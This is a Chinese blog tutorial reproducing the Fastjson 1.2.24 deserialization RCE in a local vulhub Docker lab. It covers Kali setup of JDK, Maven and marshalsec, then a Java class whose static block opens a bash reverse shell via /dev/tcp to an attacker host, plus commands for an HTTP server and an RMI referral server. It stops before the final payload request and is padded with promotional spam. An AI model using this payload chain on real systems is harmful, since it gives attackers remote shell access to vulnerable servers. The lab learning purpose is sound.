Fastjson 1

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

3.加载远程类

4.开启反弹shell的监听端口

5. bp安装

6.火狐开启代理抓包

7.复现结果验证


环境准备:

kali linux:(可以准备一个靶机centos,一个攻击机kali)本文章只基于一个kali-2022.4版本演示

apache-maven

marshalsec-master

jdk1.8

python3(kali自带)

影响版本:

fastjson <= 1.2.24


一、配置kali中java环境

注意:

1.担心配置错误的,可以提前拍摄快照,以便还原!!!

2.网上有删除openjdk再下载oracle jdk的,个人不太建议,会报错,影响后续漏洞复现

1.下载oracle的jdk1.8.0_202版本

🌂下载地址:

华为云镜像下载

https://repo.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz

百度网盘链接

链接:https://pan.baidu.com/s/1Os5BkFvEEuBmTVQgWT0cKw?pwd=sl12 
提取码:sl12

下载完成后,直接将其复制到kali中

2.新建jdk1.8目录存放安装包

🌂在kali中 /usr/local 下新建文件夹 java,存放此安装包,将桌面的jdk-8u202-linux-x64.tar.gz安装包移动到该目录下

1)mkdir -p /usr/local/java                                                 # 创建目录

2)cd Desktop                                                                   # 进入桌面

3)mv jdk-8u202-linux-x64.tar.gz /usr/local/java               # 移动安装包至目录下

3.配置jdk环境变量

🌂进入目录下,解压此安装包,并配置环境变量

1)cd /usr/local/java

2)tar xzvf jdk-8u202-linux-x64.tar.gz

3)vim /etc/profile

编辑该文件,将下方四行代码输入,jdk存放路径和我不同的自行更改

JAVA_HOME=/usr/local/java/jdk1.8.0_202

PATH= P A T H : PATH: PATH:HOME/bin:$JAVA_HOME/bin

export JAVA_HOME

export PATH

4.替换原open jdk为oracle jdk

🌂更换原有的openjdk为oracle jdk1.8.0_202

1)update-alternatives --install /usr/bin/java java /usr/local/java/jdk1.8.0_202/bin/java 1
2)update-alternatives --install /usr/bin/javac javac /usr/local/java/jdk1.8.0_202/bin/javac 1
3)update-alternatives --set java /usr/local/java/jdk1.8.0_202/bin/java
4)update-alternatives --set javac /usr/local/java/jdk1.8.0_202/bin/javac

# 存放路径不同的,记得更改~

5)java -version                        # 看是否成功替换为1.8版本

参考文章:kali安装maven和jdk、解决:bash: mvn: command not found_kali 安装mvn_召唤大白的博客-CSDN博客

二、安装并使用docker

1.安装docker

此处就不做过多讲解了,直接上大佬的安装步骤:https://www.cnblogs.com/lijingrong/p/13396884.html

🌂跟着上方教程安装完成,查看docker版本号

1)docker -v

2)docker-compose -v

2.拉取环境

🌂进入对应的漏洞环境目录

cd Desktop/vulhub/fastjson/1.2.24-rce

🌂启动容器,拉取环境

docker-compose up -d                # 首次拉取会自动下载对应配置,出现done字样即为完成

2.1相关报错及处理

若此处出现下图类似报错,则执行下方代码块中命令,然后重新拉取环境即可~(没报错的直接跳过)

1)sudo mkdir -p /etc/docker

2)sudo tee /etc/docker/daemon.json <<-‘EOF’

{

“registry-mirrors”: [“https://yxzrazem.mirror.aliyuncs.com”]

}

EOF

3)sudo systemctl daemon-reload

4)sudo systemctl restart docker

3.验证环境

🌂环境运行完成,有两种验证方式

1)http://your-ip:8090                # 出现json格式的输出,即为成功(下图一)

2)docker ps                              # 下图二

三、安装maven

1.下载安装包

🌂下载地址:

Maven – Download Apache Maven

直接下载3.9.3版本安装包

https://dlcdn.apache.org/maven/maven-3/3.9.3/binaries/apache-maven-3.9.3-bin.tar.gz

2.新建maven目录存放安装包

🌂移动下载的安装包至 /usr/local/maven 目录下, 并解压

3.配置maven环境变量

🌂配置maven的环境变量,并更新

1)vim /etc/profile                # 将下面三行代码复制到文件内

MAVEN_HOME=/usr/local/maven/apache-maven-3.9.3
        PATH= M A V E N _ H O M E / b i n : MAVEN\_HOME/bin: MAVEN_HOME/bin:PATH
        export MAVEN_HOME PATH

2)source /etc/profile           # 修改后使环境生效

3)update-alternatives --install /usr/bin/mvn mvn /usr/local/maven/apache-maven-3.9.3/bin/mvn 1

# 更新配置(路径和我不同的小伙伴记得更改"/usr…/maven…")

4)mvn -version                   # 查看mvn版本,是否安装成功

我这里下载的是3.9.3版本,不知道为什么安装之后显示版本为3.8.7(有知道的可以评论区留言~)

3.1相关报错及处理

此处报错的小伙伴,可以尝试 “rm -rf maven” 删除maven整个目录,然后重新安装(或验证是否执行上方第3步更新命令)

仍然报错的小伙伴可参考:kali安装maven和jdk、解决:bash: mvn: command not found_kali 安装mvn_召唤大白的博客-CSDN博客

四、安装RMI服务器

1.下载marshalsec并启动RMI器

🌂编译marshalsec项目,启动RMI服务器

1)下载marshalsec

github下载

https://github.com/mbechler/marshalsec

百度网盘直接下载

链接:https://pan.baidu.com/s/1BMtwwRPDMh6ZP1bumRHEwg?pwd=jx3a 
提取码:jx3a 
2)cd /usr/local/marshalsec/marshalsec-master    # 进入目录下

3)mvn clean package -DskipTests                        # 用maven编译marshalsec成jar包

五、漏洞复现

1.编写文件

🌂使用kali攻击机,编写touchfile.java文件,将如下代码写入,并编译为class文件

1)touch touchfile.java

2)vim touchfile.java                # 不要直接执行第三步,看好代码输入完成再往下走

3)javac touchfile.java

import java.lang.Runtime;
import java.lang.Process;

public class touchfile{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/攻击者ip/攻击者nc监听端口 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
        }
    }
}

2.开启python监听

🌂kali攻击机开启python服务,监听端口              # 注意python版本,执行对应命令

python3 -m http.server 8089                                  # python3使用的命令

python -m SimpleHTTPServer                               # python2使用的命令

3.加载远程类

🌂kali攻击机使用marshalsec项目,启动RMI服务器,监听端口9999,同时指定加载远程类touchfile.class

进入marshalsec-master目录下的target目录下执行,marshalsec是安装RMI的那个目录,target是编译后的目录

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://your-ip:1111/#touchfile” 9999

还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!

王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。

对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!

【完整版领取方式在文末!!】

93道网络安全面试题

需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)

内容实在太多,不一一截图了

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

1️⃣零基础入门
① 学习路线

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

image

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供:

image-20231025112050764

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 3
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值